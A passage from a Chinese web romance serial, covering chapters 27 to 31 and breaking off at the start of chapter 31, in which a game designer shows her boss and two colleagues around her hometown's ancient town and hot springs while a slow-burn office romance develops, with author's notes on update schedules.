陆言知无奈,“喷过来,元宝可能嗅觉格外灵敏,还是能分辨出来。” “还是我聪明,喷了好多好多。”任舒晚道。 — 时光如白驹过隙,一年接近尾声,元旦假期近在咫尺,任舒晚早早买了回老家的车票,她是个恋家的孩子,已经非常想爸爸妈妈了,目前已经处于人在心不在的状态,看似在上班,实则心早就飞回家,扑在了那张柔软的小床上。 感叹一番,又不得不投入工作之中。 晋升中级后她的担子明显重起来,尤其她对蝴蝶月见解独到,安逸总是有事没事给她增加工作量。比如破晓最近正计划全英雄皮肤重塑,她又被安逸借调去了项目组,跟着他一块参与蝴蝶月皮肤重塑设计。 虽忙,但工资也涨,加之安逸确实诚心诚意教她,她跟着他能学不少东西。 任舒晚把修改好的稿子保存下来,拿着笔记本直奔安逸办公室。 敲开门,安逸也在画稿,见她来,他挠着头道:“怎么样?收尾了吗?我马上了,我们能在假期前赶完吗?” 任舒晚无奈,“安总监,您上周可还慢悠悠倒骑毛驴呢。” “哎呦,那不是没有计划嘛。” 任舒晚把笔记本推到他面前,“你看一下。” 安逸眯起眼凑到屏幕前,放大细细看了看,满意点头道:“好好好,去和动画组对接吧。” “对了,你假期去哪儿玩?有推荐的地方吗?” 他脑回路转得快,任舒晚一时间没反应过来,顿了顿才说:“我回老家。” “老家?你老家哪儿的?好玩吗?”安逸好奇看她。 任舒晚:“我老家是青湖镇,千年古镇,泉水文化。” “哦!”安逸恍然点头,“我知道青湖镇,我问问我女朋友愿不愿意去,我俩正愁不知道去哪玩呢。” 说起老家,任舒晚还是蛮自豪的,“今年雨水多,泉水丰沛,下过雪也好看,就是有点冷。我们那边也好吃,特色菜数不胜数。” “行。我要是去就找你取经。” 任舒晚离开安逸办公室后,他给江一若发了消息,也顾不上画稿了,他起身直奔陆言知办公室,门都没敲,推门而入,“陆言知,元旦我们去青湖镇啊!” 陆言知正在敲代码,掀了掀眼皮看他,“你自己去吧。”? 安逸叉着腰,“你可别后悔。” 陆言知睨他一眼,“没后悔过。” “那好吧。”安逸幽幽叹口气,佯装可惜道,“听说小任老家是青湖镇的呢,她元旦要回老家,去的话她应该能带我们玩一玩吃一吃吧。某些人不爱去,那我只好跟我家若若去咯。” 陆言知敲键盘的指尖一顿,偌大的房间瞬间安静的落针可闻。安逸忍着笑瞥他一眼,自顾自转身要离开。 下一秒,陆言知缓缓开口,嗓音清淡,“什么时候出发?” 安逸背着身,忍笑忍得全身颤抖,大哥,怎么不装了?!再装点好吗! 三人在元旦当天出发,车刚开上高速,安逸便拿着手机给任舒晚发消息。 [小任小任,我们出发青湖镇了,我和我女朋友还有陆言知,麻烦你个事儿啊,我把陆言知托付给你,回去给你加班费。他跟着我们光当电灯泡,烦人得很!]—— 作者有话说:陆总:[眼镜]我爱吃老婆吃过的饭,听说这是间接接吻。 周日大概会早点更新,周日开始倒v,没看过前面的宝宝趁免费抓紧看啦,V后会日更大肥章,距离掉马近在咫尺了,暧昧也要开始啦!! 第28章 第 28 章 顶级魅魔村来了个新手…… 任舒晚一觉睡到自然醒, 窝在小床上享受着任妈端来的热牛奶,任妈怜爱地瞧着她,说话轻声细语, “中午我跟你爸爸去吃婚宴, 你一起去吗?” 任舒晚抿着牛奶, 撒娇道:“不要,我不想洗头, 我要赖在床上。” “好嘛。”任妈把她脸颊边的碎发撩到耳后, 脸上满是宠溺,“那让爸爸给你做饭,你自己吃。” 任舒晚:“我要吃红烧牛肉面——” “好, 你尽管提。”任妈应下,对着门外道, “老公,把牛腩拿出来,晚晚要吃牛肉面。” 任妈的声音不高,但任爸听得真切回得迅速,显然就在门外候着等命令呢。 任舒晚将杯底最后一口牛奶喝干净, 递给任妈空空如也的杯子, 仰头一翻身, 像小猪似的枕在枕头上。 外面日头升起,暖阳投射在天花板上, 留下斑驳的光影。她摸着暖呼呼的肚子, 只觉此刻时间过得缓慢, 可以在这松弛中混混沌沌的摆烂,不用想工作也不用纠结琐事,平淡且幸福。 这时, 床头的手机响了一声,打破难得安稳的平静,任舒晚也不厌烦,懒洋洋地摸过手机,入眼就是安逸“托孤”的豪言壮语。 任舒晚一下子清醒过来,不是!这么突然! 她从床上坐起来,安逸和女朋友来她不意外,出乎她意料的是陆言知怎么作为电灯泡也跟来了。 虽不解,她也不敢怠慢,毕竟远道而来即是客,她作为东道主肯定是要好好招待他们,尽地主之谊。 她立刻回道:[好的安总监,你们几点到,我来安排,保你们畅玩青湖镇。] 安逸回了个哈哈大笑的表情,[大概十一点半,我们定了古镇里的温泉民宿,到了先去放下行李。] 任舒晚:[好,那中午我安排你们吃特色菜。] 收起手机,任舒晚扬声对着门外喊道:“爸爸,不要做饭了,我中午出去吃。” 急速行驶的商务车里,安逸心满意足,他面带微笑看向陆言知,“好兄弟,我把你托付给小任了,你可别跟着我们。” 陆言知正靠着闭目养神,闻言淡淡掀开眸子,“她说什么?” 安逸笑,“她说请我们吃特色菜。”? 陆言知蹙眉,就这样? 安逸看他表情便能猜出他的想法,不愿再逗这痴情种,“放心,她没嫌你。” — 收到消息后,任舒晚没再继续在床上赖着,她起来洗了个澡,化妆的时候又给常去的那家家常菜打了电话预约包间,幸而任爸和老板关系不错,不然这种假期他们都不留桌。 预估着时间差不多,任舒晚早早出了门。 青湖镇总面积不算大,却坐落着一处千年古镇,青湖古镇始建于宋末元初,有保存完好的民族建筑和泉水泉脉。 早些年常住居民都住在古镇中,随着近几年旅游业发展迅速,古镇客流量越来越大,加之要保护建筑和街道,车辆不再允许进入古镇,住在古镇中的居民出行变得不方便,在政府响应下,居民们陆续搬迁到古镇外的居民区中。 任舒晚小时候也是住在古镇里,后来因为她上学,任爸任妈才买了现在的学区房,不过他们古镇里的老房子还在,也没租出去,任妈留着在里面种小菜和葡萄。 任舒晚开车到达古镇的西门,把位置发给了安逸,[安总监,你们直接来这个门,这边有一个大停车场,比较好停车。] 安逸回了个位置,任舒晚打开一看,显示距离她不足三公里了。 等了大约三四分钟,一辆豪华的商务车便朝着她开了过来,车子停在她身边,后排自动门徐徐打开,熟悉的身影映入眼帘。 陆言知今天穿得格外阳光,宽松的白色羊绒衫里套了一件灰蓝色衬衣,颜色清新,给沉闷的冬季添了抹亮色。 他俯身下车,小臂上搭着一件灰色大衣,修长的腿轻松踩在红色花砖上。 “陆总,又见面啦!”任舒晚开心打招呼。 陆言知含笑抬眸看她,她今天也穿得亮色,一件鹅黄色羽绒服,围了条毛茸茸的白色围巾,看上去和平时上班的穿搭很不同,上班时着装更为端正,回了家却像小孩子似的。 任舒晚见他盯着自己愣神,以为他被青湖镇的冷气冻着了,毕竟青湖镇比起临城更偏北方些,温度也低了不少,她道:“陆总,你把外套穿上吧,这边冷。” “还好。”陆言知淡淡点头,但还是依言穿上了大衣。 安逸和江一若紧随其后从车上下来,安逸见到任舒晚便夸赞起她的老家,因为江一若说他总算办了件靠谱的事儿。 这一路来江一若看着积了雪的古建筑,美得像画中世界,宁静素雅,连空气都弥漫着历史的韵味。 安逸介绍两人认识,江一若性格本就外向,大大咧咧不拘小节,恰好任舒晚也开朗,两人很快打成一片。 任舒晚引导着司机停下车,三人走着去后街的家常菜馆。 江一若挽着任舒晚走在前面,问起镇子上好吃好玩出片的地方。 安逸和陆言知闲庭信步跟在后面,安逸刻意放慢步子,直至距离两个女生很远,他才得意道:“跟着我来没错吧。” 陆言知:“什么?” “嗐!”安逸一摆手,压低声音道,“别装了,我又不是看不出来,你不就是对人家小任有意思嘛。” 陆言知眯了眯眸子,讳莫如深地看向他,没承认也没反驳。 安逸见状,继续试探,“什么打算啊?什么时候表白?” 陆言知没接话,安逸按捺不住,“你该不会不打算表白吧?你咋想的啊?玩纯爱暗恋吗?你都单了二十多年了,不会想一直单下去吧??” 陆言知眉头微蹙,冷冷瞥了他一眼,“那怎么了?” 安逸一口老血差点喷出来,无语地重复了一边,“那?怎?么?了?” “你不怕女朋友飞了?小任很优秀的啊,身边不见得没有追求者。” 陆言知垂眸,不是不见得,是一定有,他见过了。 安逸苦口婆心,“到时候她跟别的男人在一起了,你怎么办?先下手为强啊!!” 陆言知默了默,只是回答:“不一样。” 安逸说得他都明白,他虽然没谈过恋爱,但不是傻子。他最近一直纠结,他们不是简单的朋友关系,他们在同一家公司,他是她的老板,如果他贸然表白,任舒晚对他没有好感,那他一定会影响到她的工作,他不希望这样。 安逸急得跺脚,“怎么不一样了?” 话说我,安逸突然开了窍,“哦,我知道了,你是不是因为办公室恋情?” 想到这,好像一切都说得通了。 见他不再犯傻,陆言知才淡淡应声。 安逸一拍大腿,计从心生,“没事,你先试探一下她的态度,我看着她不像讨厌你的样子。感情嘛,还是需要男生主动一点的,尤其你还是她的老板,小任即便对你有懵懂的感情,也很容易因为你的身份扼杀在摇篮里。” 安逸神秘一笑,“我教给你,你抓住这次机会,你去勾引她,诱惑她,用你的美色,用你的身体。” 他说得脸不红心不跳,因为他就是这么追求到江一若的,他得心应手。 陆言知沉默片刻,抬眸对上安逸的眼睛,眸底多了一丝探究。 安逸大喜,“你听我细细道来!” 话音刚落,前方便传来江一若暴跳如雷的声音,“你们两个在干嘛!老牛拉破车都比你们两个人走得快。” 见此,安逸连忙收住嘴边的“损招”,转而加快步伐去哄媳妇儿,徒留陆言知风中凌乱。 这家家常菜馆开了二十多年,任舒晚从小吃到大,菜品都是青湖镇这边的特色,几人看了菜单,又询问了任舒晚好吃的招牌菜,点了好几种。 点完菜,安逸要去厕所,非缠着江一若带他去,江一若一边嫌弃的笑话他,一边又宠溺的陪他。 两人离开包间,屋里只剩陆言知和任舒晚,陆言知拿起旁边的茶壶给她斟茶,漫不经心搭话道:“你这次回家带元宝了吗?” 任舒晚摇头,“没有,我给它留了好多干草,准备了好多水,买了监控按在屋里,我看它自己生活的还行。” 陆言知颔首,“三五天没问题的。” “煤球呢?”任舒晚问道。 陆言知勾唇,“一样。” 他拿出手机打开监控给任舒晚看,两人此时是面对面坐着的状态,桌子有些宽,任舒晚得探过身子才能看到他的手机屏幕。 陆言知沉默一瞬,道:“我坐到你旁边吧。” 任舒晚怔愣了一下,陆言知继续道:“他们两个应该希望坐在一起。” 哦!对! 任舒晚了然,点了点头,立刻移到长椅的一侧,给陆言知让出位置。 陆言知坐了过来,长椅瞬间变得没有那么宽敞,他离她很近,他的衣服会蹭到她的衣服上。他身上那股淡淡的木质香若有似无,随着他靠近的动作飘进她的鼻尖。 “你看。”陆言知将手机递到她面前。 屏幕里煤球正在干饭,小嘴咀嚼的很快。 任舒晚有些走神,她的视线不自觉离开屏幕,微微抬眸,看到他的侧颜,立体的下颌线,目光游移,白皙的脖颈,突起的喉结。 任舒晚立刻垂着眼睫,心跳莫名加速。 “元宝也在吃饭吧。”陆言知的声音轻飘飘从头顶传来,呼吸间的热气喷洒在她额间。 她无措地应了声,心里却有些后悔让陆言知坐过来了。她明知道的,上次扑到他怀里时她就胡思乱想了! 安逸两人回来时,看到他们坐到一起,还有些惊讶。 江一若立刻碰了下他的胳膊,道:“人家两人知道我想跟你坐一起,大直男!” 陆续开始上菜,浓油赤酱的葱烧海参,酸甜口的糖醋鲤鱼,几人尝了便夸赞好吃。 一边吃一边闲聊,江一若问道:“晚晚,我们订得民宿有温泉,你俩下午跟我们一起泡温泉去吧。” “啊?”任舒晚一愣,下意识看向陆言知。 陆言知坦然与她对视,“我都可以,你想去吗?” 江一若添柴加火,“去嘛去嘛晚晚,求求你了,我想要出片呀,安逸拍照巨难看,我会被他气死的。” 安逸欲哭无泪,为了兄弟他也是背上了污名,他早已经被江一若训练好了拍摄技术,这下又成了糟糕透顶的男朋友了。 任舒晚受不住江一若的攻势,只好点头应下,“那我得回家拿东西。” 江一若嘿嘿一笑,“没事,让陆言知陪你去!”—— 作者有话说:陆总:[眼镜]该我出手了。 下一章开启温泉play 本章掉落小红包,谢谢大家的支持~ 有抽奖活动,10人,每人100币,感兴趣的可以参与一下。 12日晚上多更点,13暂时不更,14晚11点更新,过后都是日更[哈哈大笑] 第29章 第 29 章 心照不宣的试探 吃饱喝足后, 陆言知主动提出陪任舒晚回家拿东西。 江一若肚子撑得圆滚滚,要先回民宿化妆,任舒晚临走时她还不忘激动哭喊着会在民宿等她, 风里雨里等她, 生怕任舒晚放鸽子一样。 两人离开餐馆, 外面寒风凌冽,任舒晚一身薄汗, 被风一吹, 下意识缩进围巾里。 陆言知见状,眉头微蹙,淡声道:“去屋里等着, 我让司机把车开过来。” 任舒晚吸吸鼻子,连忙摇头, 嘴巴藏在围巾里,声音闷闷的,“不用陆总,我开车来了。” 陆言知眸底闪过一丝诧异,他微眯眼睑, 若有所思地看向她, “我记得你上次说不会开车。” 任舒晚一时没反应过来, 下意识回答道:“没有吧。” 话音刚落,她瞬间恍然, 想起稀里糊涂的那一晚, 莫名其妙把他锁在公司, 祝笙又被骗回家,她深夜赶去公司开锁,还被他揶揄了一路。 记忆像水流涌入脑海, 她尴尬笑了笑,“啊,我想起来了。” “所以?”陆言知歪头审视她,“你骗我。” 任舒晚低头嗫嚅道:“这不算骗嘛,我确实会开车,只不过陆总你的车太贵了。我当时想,你万一知道我会开车,让我开车,我技术不好再撞了怎么办,不如就装傻一下,嗯……我思虑比较周全嘛。” 陆言知挑眉,“然后忘记自己撒过谎,说着说着就露馅了。” “才不是!”任舒晚猛然抬头,不满地瞪他一眼,圆溜溜的黑眸在寒风下亮晶晶的,鼻头也被摧残的染了淡粉。 “我这是善意的谎言,也给你的车避免了不必要的灾祸,非要理论的话,你还应该感谢我呢!”任舒晚扬着下巴,振振有词反驳着。 陆言知有一瞬失神,目光下意识落在她脸上,泛着淡粉的鼻尖,红润的唇瓣。 “陆总?” 任舒晚好奇的声音打断他的沉思,他缓慢回神,鬼使神差地抬手,将她落下的围巾往上拉了拉,遮住那双唇。 天寒地冻的冬日,暖阳不过是冰箱里的灯,很冷,但任舒晚有些热,跳动的火焰烧过她的围巾,烫到她的唇角。 陆言知突如其来的动作让她慌张无措,她隐约察觉到些什么,却又怕是自作多情。 陆言知一贯是淡漠寡言的人,却在相处中渐渐变了模样。她不确定他是否存了心意,但他没说什么,她就要当作没有什么,毕竟感情这种看不见摸不着的东西,转瞬即逝。 陆言知低缓的声音响在耳边,“那你想要什么感谢?” 思绪回拢,任舒晚将插曲压在心底,又恢复成方才没心没肺的模样,她大步往前走着,嘴上絮絮念道:“那肯定一万两万不嫌多,一块两块不嫌少了。” 陆言知信步跟在她身后,“这么容易满足?或许可以放长线钓大鱼。” 任舒晚自顾自点头,“有道理,那我想当总裁。” 陆言知愣怔一瞬,薄唇微微抿起,他知她一贯聪明,工作中只须点到即止便能豁然开朗,此刻呢?她是真的不懂,还是用玩笑掩盖? 他收敛思绪,恢复如常,“也不是不行,那我呢?我给你当助理?” 任舒晚神秘莫测地摇摇头,“不行,你在员工都不听我的,你辞职回家!” “那任总养我?” 他轻飘飘的话落进她耳畔,她呼吸沉了瞬,笑道:“陆总又在开玩笑,你哪需要我养啊,手里的存款够生活两辈子的了。” 之后的几分钟,两人都默契的三缄其口,直至走到车旁,任舒晚拉开车门,才玩笑着搭话,“陆总不用担心,我是老司机了,五年驾龄,开车还是很稳的。” 确实如任舒晚所言,车子启动后平稳驶出停车场,即使在拥堵的路口也能穿梭自如。 她一边开车一边不忘介绍周围的景色,在途径她幼时就读的学校时,她刻意放慢了车速,“这是我的母校,青安路小学,旁边是初中。” 陆言知随着她指得方向看过去,一座三层的红色砖楼,楼体方方正正,线条老实得有些笨拙。门口红漆铁门紧闭,一侧是镌刻在木板上的校名,如此陈旧的设施,带着岁月流淌过的痕迹。 任舒晚絮絮念着小时候的事情,校门口的小吃摊,下过雨的积水,仿佛这样就能回到过去。 陆言知安静听着,偶尔会问起她记忆最深的事情,她又能笑嘻嘻的说上好多。 车子很快开进一片宁静的小区,拐过几栋楼,车速缓慢降了下来,停在一栋楼前。 任舒晚熄掉火,刚解下安全带,支架上的手机不合时宜的响起来,屏幕显示着闹钟的图样,随着急促的铃音晃动,提示主人时间到了。 任舒晚停下动作,认命地拿起手机终结铃音,“陆总,等我一下,我需要处理点事情。” 她登上小号,找到年卡渣男的聊天框,指尖迅速滑动,不带一丝犹豫,[到时间了到时间了!!笨蛋何在!!] 陆言知心觉不妙,下意识伸进口袋摸手机,还没等触碰到,一声清脆的消息通知响起。 他加速动作,刚把手机掏出来,又时一声,在逼仄的车厢里清晰明了。 任舒晚蹙起眉,下意识偏头看他,眸中疑惑,“陆总,你手机一直在响。” 陆言知淡定自若地按下静音键,“骚扰短信。” “哦,那很讨厌了。” 任舒晚低下头,继续输出。 陆言知不着痕迹地瞥向手机屏幕,弹窗通知不停闪出,攻击力极强的话没有一句重复,他微勾唇角,偏头入眼是她专注的侧颜,这个感觉好奇妙。 几分钟后任舒晚结束战斗,她上楼拿东西,陆言知在车里等她,看到她背影消失,他才取消静音,打开聊天框,回了个,[1。] — 古镇的温泉民宿很大,坐落在西北角,取岩层深循环地下热水,水温极高,属于非火山型高温温泉。 任舒晚来过几次,但因为客流量大,需要提前预约,她体验过后也懒得排队了。 这次陆言知他们订的是一个独立小院,院子有两栋楼,院里有一个共用的汤泉,两个楼里还有独立的私汤。 两人进院时,江一若正趴在楼里的落地窗前望眼欲穿,看到任舒晚进门,她猛地从懒人沙发上跳起来,跑到门口迎接。 她化了精致的妆容,身上穿着舒适的休闲装,她把任舒晚拉到身前,对着陆言知和安逸大手一挥,“你们两个去那栋房子吧,我俩要换装了,一会儿温泉见。” 话说完,她又看向任舒晚,“热红酒怎么样?” 任舒晚自诩思维已经足够跳脱,没成想江一若完全在她之上,她哑然失笑,道:“我都可以。” “行。”江一若看向安逸,大手一挥,“准备去吧。” 两位男士被请出房子,江一若拖着任舒晚回卧室。 “我拿了好几件泳衣,你帮我挑挑,是黑色好看还是红色好看。” 任舒晚看着衣柜里挂着的几件泳衣,两套连体的,一套带罩衫的,版型都相对保守。 她抿了下唇,支吾道:“我的好像有点露……” 江一若眼睛一亮,“什么样!给我看看!” 任舒晚打开随身包。她带了两套,都是她买来去海边、泡温泉时穿得,因为她不会游泳,所以多数泳衣都是以漂亮为主,并不实用。 漂亮也就意味着露肤度会高,可能在海边人多时穿并不觉得独特,但眼下江一若的比较严实,倒显得她很尴尬。 江一若拎起其中一套海蓝色两件套,嘴巴瞬间长大,“哇,这件好漂亮。” 渐变的蓝色,衬得皮肤白皙干净。镂空的上衣,褶皱的短裙,能露出纤细的腰肢和修长的双腿。 “要不我穿黑色那件吧。” 任舒晚拿起另一套,深v挂脖设计,下摆层层叠叠,后背镂空,但前面看上去比较严实。 “不不不!”江一若连忙拒绝,“就这件蓝色,好看,巨好看!” 说罢,她神秘一笑,“其实我还有。” 她拉开另一侧柜门,又出现两件泳衣,其中还有一套比基尼。 江一若:“其实我怕你比较保守,就没拿这两件出来。” 两人对视一眼,哈哈大笑起来。 任舒晚:“我就说嘛,虽然我才刚认识你,但觉得你貌似不是这样的。” 江一若脸颊一红,“被你看透了。” 两人说笑着换上泳衣,任舒晚站在镜前整理着头发,找了个漂亮的发圈把长发尽数扎在头顶,又捋出几缕碎发,用卷发棒卷了一下。 江一若围着她转了一圈,言辞恳切,“等你找了男朋友,一定要穿这件泳衣跟他去海边。” “为什么?”任舒晚好奇。 “当然因为能展现你的好身材啊!”江一若顿了顿,“晚晚,你有男朋友吗?” 任舒晚摇头,“没。” 江一若:“那你有喜欢的人吗?” 任舒晚盯着镜中的自己,脑海中不经意闪过一张脸,她微垂眼睫,继续摇头,“没。” 江一若暗自欣喜,这么看来陆言知还是很有机会的。 “有喜欢的要把握机会。”江一若循序渐进引导着,“不过也可以拉长一下暧昧期。回想我和安逸暧昧期时,连对视都是甜的。” “哎呀哎呀,我要被恋爱的酸臭气熏晕了。”任舒晚调笑道。 江一若:“讨厌!” 等待管家清理好汤泉,准备好热红酒,两人才裹着浴巾出了门。 小院私密性极强,尤其汤泉周围都是竹林和屏风,院外有人经过也不会看到里面的乾坤。 外面寒风凛冽,两人踏出门便冻得瑟瑟发抖,踩着拖鞋一路小跑冲向汤泉。 此时陆言知和安逸已经泡在汤泉里,闻声抬眸,陆言知的视线越过所有,落在任舒晚身上。 任舒晚也在看他,他穿了一件黑色长袖泳衣,包裹的十分严实,但仍能清晰看出布料下紧实的肌肉线条—— 作者有话说:陆总:[眼镜]开启诱引。 日更日更日更!明天零点前更新,有事会请假。 第30章 第 30 章 欲擒故纵 这处汤泉宽敞, 整体嵌在岩石中,边缘用打磨圆滑的卵石交错砌成围栏。水面很清,撒了一层玫瑰花瓣, 雾气蒸腾, 水流随波荡漾出一圈圈涟漪, 推着花瓣肆意流浪。 靠近池边,任舒晚把身上的浴巾褪下, 扶着扶手, 踩着鹅卵石台阶,一节节进入汤泉。 微凉的皮肤乍然接触高温的泉水,从脚尖都头皮酸爽到发麻发胀。 她倒吸了口气, 趁热打铁滑入汤泉,氤氲的白雾散在眼前, 夹杂着硫磺独特的气息,她深吸一口,鼻息间全是厚实的暖意。 江一若紧随其后,她下到汤泉便开始寻找拍照的位置,眼里没有社交, 只有对出片的渴望。任舒晚跟着她, 举着手机找角度, 两位男士面面相觑,老老实实退到池边等待。 倚在池边拍了几张, 任舒晚又指挥江一若拿着酒杯拍, 她一边摆姿势, 任舒晚一边提供情绪价值,“宝,太好看!太美了!就这个角度绝了!” 一连串的夸赞听得江一若飘飘然, 她得空的间隙睨了一眼安逸,嫌弃道:“学着点,每次让你拍照就像哑巴似的。” 好嘛!安逸委屈地眨眨眼,不敢反驳。 他看向陆言知,压低声道:“看着点,学着点,这都是经验。” 陆言知目光淡淡落在他身上,继而移到任舒晚的背影上,薄唇轻启,“挨骂是你没做到位,我回去就报摄影课。”??? 安逸不可置信地看向他,“你个恋爱脑!卷我是吧!” 陆言知眉梢微挑,“碍着你了?” “我以后得让若若离你远点,省得到时候你真追到手,天天灌输一些恋爱脑发言,让若若对我有意见!” 陆言知勾唇,一副你奈我何的样子。 拍了几十张,换了无数角度,全身半身特写,一点不落。一番折腾下来,江一若累得气喘吁吁,直到看到任舒晚交付的照片,她所有疲倦一扫而空,震惊地盯着屏幕,恨不能任舒晚夸上天。 安逸见拍摄收尾,见缝插针道:“宝宝,红酒能喝了吗?” 江一若正沉浸在自己盛世容颜中无法自拔,心情好极了,大手一挥,“喝吧喝吧。” 得了命令,安逸赶紧倒了一杯,一股脑往嘴巴里灌。 陆言知蹙眉不解地看着他,他接收到疑惑,眉梢一挑,“等着吧兄弟,哥们为了你拼了。” 一杯红酒下肚,他砸吧砸吧嘴,又倒了一杯继续喝。 大约五分钟后,安逸的正片开始上演。 他倚着池边,手附在头上,哀嚎连天,“宝宝,宝宝,我头好晕。” 那边江一若正跟任舒晚聊天,闻言脸色一变,连忙担心地移到安逸身边,“怎么回事?” 安逸委屈地噘着嘴,“不知道,头好疼,好晕,要晕过去了。” 陆言知在一旁看他表演,抿了抿唇,思忖道:“他喝酒喝得太急了。” 江一若看着没了一大半的红酒,恍然大悟,“你喝那么快干嘛?” 任舒晚也凑过来,“要去医院吗?” 一说医院,安逸连忙摆手,“不用不用不用,没那么严重,可能温泉热,我喝得急,有些上头。” 江一若神色担忧,“要不还是去医院看看吧。” 任舒晚点了点头,果断往入口移动,打算换衣服开车去医院,毕竟在她地盘上,她对医院、路线都了解。 眼看玩脱了,安逸焦头烂额,“没事,真没事。” 陆言知适时开口,语气平淡,“他回去睡一觉就好了。” “对!”安逸点头,他用手遮挡住任舒晚的视线,对着江一若一通挤眉弄眼,下一秒,江一若茅塞顿开。 “晚晚,算了,应该不用去医院,他平常喝酒也这样。” 任舒晚迟疑道:“能行吗?” 江一若将她拉回来,“没事,我陪他回去睡一觉,你们先玩。” 如此,任舒晚也不好多说什么,点了点头。 两人见状,连忙出了温泉,裹着浴巾逃之夭夭。 空荡的小院瞬时安静下来,只有水流的潺潺声不绝于耳。 陆言知倚在池边,透过氤氲的雾气看她,嗓音低哑沉缓,“要喝热红酒吗?” “好啊。”任舒晚没有拒绝,缓慢移到池边,在他不远的位置坐了下来。 红酒中加入了许多水果,入口柔和,充满浓郁的果香,没有苦涩和酸味,清甜爽口。任舒晚平日不太喝酒,尝过以后都喜欢地眯起眸子。 “我其实不太爱酒精的味道。”任舒晚歪着头随意道。 她此刻像只慵懒的小猫,脸颊红扑扑的,眉眼间倦怠松弛,陆言知看着她,眼神温柔,“那现在呢?” “现在也不喜欢。”她顿了顿,唇角上扬,“不过热红酒好喝。” 她看向陆言知,却发现他手中空无一物,“你怎么不尝尝?你不喜欢吗?” “不是。”陆言知缓缓摇头。 任舒晚:“那我帮你倒一杯。” 她拿空的红酒杯递到陆言知手里,又积极地拿起热红酒壶。酒壶有些沉,她拿在手里微颤,倒也安然无恙地倒了一杯。 “你尝尝。”任舒晚一边放热红酒壶,一边欣喜雀跃的推荐。 陆言知默默应了声,抬眸看她低着头,心思落定,毫不犹豫把半杯红酒浇到了自己领口处。 下一秒,磁性的嗓音响起,“我红酒洒了。” “啊?”任舒晚抬头,只看到一个空空的酒杯,“洒哪儿了?” 陆言知抿唇,“衣服上,我脱掉吧。”?! 任舒晚还没反应过来,眨眼间,陆言知身上的长袖泳衣已不见踪影。 他身材极好,宽肩窄腰,这是任舒晚冒出来的第一个想法。他不是那种夸张的肌肉,而是紧实的薄肌,肌肉线条流畅分明。水流只浸在他胸口的位置,若隐若现的结实腹肌隐在水下,看不真切。 锁骨下有红酒遗留的痕迹,和白皙的肤色相映衬,分外乍眼。 任舒晚意识到自己走神,连忙低头垂下视线,脸颊耳廓一阵灼热。 “再给我倒一杯吧。”陆言知缓缓开口,唇角微微勾起。 “啊,嗯。”任舒晚低着头应声,只觉脸要红得滴血了,讲真的,她还没有近距离看过男性的身材。 热红酒壶变得更重了,她双手握着都发抖,尤其凑近陆言知后,他的身材变得一览无余,独有的木质香也格外清晰,一缕缕钻进她鼻尖,扰得心绪杂乱。 她不排斥有一场恋爱,如果对方是陆言知,她更会欣然接受,可是…… “确实很好喝。” 陆言知的声音打断她的出神,她思绪回拢,抬眸便对上他漆黑的眼眸,似有墨色翻涌。 她微笑执起自己的酒杯,缓缓碰到他的杯子上,清脆入耳。 — 房间内,安逸被江一若摁在沙发上,“我警告你,不准偷看。” 安逸宛如热锅上蚂蚁,急得直挠头,“我就看一眼,我看看他脱了没!!!” “那万一人家两个人正亲密怎么办,不行,你给我忍着!” 安逸没办法,放弃抵抗,“陆言知这人腹黑得很,不直接脱了,还得先穿着再脱了。” 江一若无奈,“你太单纯了宝宝,这叫欲擒故纵。” 安逸:“好嘛,我不懂,不过宝宝,你问了没?” 江一若眉梢一挑,“我超级靠谱,当然问了,没有男朋友,你记得告诉陆言知,抓紧表白。” “有追求者没?”安逸问。 …… 江一若语塞,“忘了问了。不过没事,我还有打听的机会!” — 温泉不宜泡太久,陆言知和任舒晚将杯底的红酒喝完便准备离开。 陆言知先她一步出了汤泉,拿着浴巾在池边等她,她扶着扶手小心翼翼踏上台阶。 不知是不是很少喝酒的缘故,任舒晚一出水就觉得头有些晕晕的,脚下发飘,脸也烧得难受。 鹅卵石的台面踩着有些痒有些疼,加之她头晕目眩,走了两步便要往后躺去。 陆言知眼疾手快拽住她的胳膊,稍加用力,将人直接揽进了怀里。 天旋地转间,任舒晚闭上眼睛,她想,陆言知该不会觉得她趁人之危占他便宜吧。罢了,就算他这么想她也顾不上了,实在太晕了。 几秒钟后,她发烫的脸颊贴上柔软微凉的肌肤,像闷头浇了一盆凉水,清爽宜人,她下意识蹭了蹭,只觉很舒服。 沉了片刻她才缓缓睁开眼,眼睫扫过那片凉,像羽毛轻抚过,钻心的痒。 陆言知仰着脖子,喉结滚了滚,眼底暗色弥漫。 他将手里的浴巾围到她肩上,缓缓开口,嗓音低哑,“冷吗?” 任舒晚深吸一口气,拢着浴巾离开他的怀抱,“不冷,好多了,不那么晕了。” 怀里一空,陆言知有些懊恼,或许他该再沉默一会。 “走吧,我可能要先去你的房间。”任舒晚轻声说。 陆言知:“嗯。” 两人一前一后,安静往房间去。 回到房间,陆言知给安逸发了消息,没一会儿安逸便过来,任舒晚才回去换衣服。 在民宿休息了一会儿,任舒晚才缓过来,酒精散去,血压恢复正常,便没了那种头晕目眩的感觉。 约了一家餐厅,四人出发去吃晚饭。晚饭过后安逸说要分开行动,他要去过二人世界,陆言知便水灵灵的被发配给了任舒晚。 任舒晚思来想去,打算带他去夜游古镇。 夜幕降临,古镇亮起盏盏灯火,白墙青瓦被暖光笼罩,变得烟火气十足。 两人从西门直入,顺着流动的泉水溪流漫步,沿街有各色商铺,人并不多,三三两两成群结队,更多是在享受夜色下的古镇生活。 任舒晚踩在石子路上,一步一脚印,走得缓慢,“小时候雨水丰沛,沿街必须穿拖鞋,不然走不完一条街鞋子就湿透了,现在很少能遇到泉水漫上来了,你没有眼福哦。” 陆言知莞尔,“我可以夏天再来,来得多了,总能碰到雨水丰沛的时候。” “那你带我一起啊,我想回家,可想回老家了。”任舒晚望着天空感叹,“要是能回到小时候就好了,我可以带你一起去蹚水。” 陆言知微顿,心跳猛地漏了一拍,小时候……带他…… 这样的字眼总会让他浮想联翩,他希望她能露出点破绽,好让他知道她的想法。 他停住步子,余光扫过街边一家铺子,门口的招牌写着:时间邮局,给未来的你,过去的你送去一封信。 他不假思索拉住任舒晚的手腕,任舒晚微愣,下意识看向他,他的眼睛很亮,不知是月光照的还是灯火照的,仿佛还映着她的身影。 “我带你去回小时候。”他声音轻缓,语气认真。 嗯??—— 作者有话说:陆总:(揪花瓣)老婆爱我,(揪花瓣)老婆不爱我,(揪花瓣)老婆爱我,(揪花瓣)老婆不爱我…… [求求你了][求你了]来晚了,抱歉宝宝们!《 》 30-40 第31章 第 31 章 真的很喜欢她 这间邮局面积不大, 进门后区域划分明显,左边是文创售卖区,有纪念品和不同样式的信纸、信封。右边则是写信自助区, 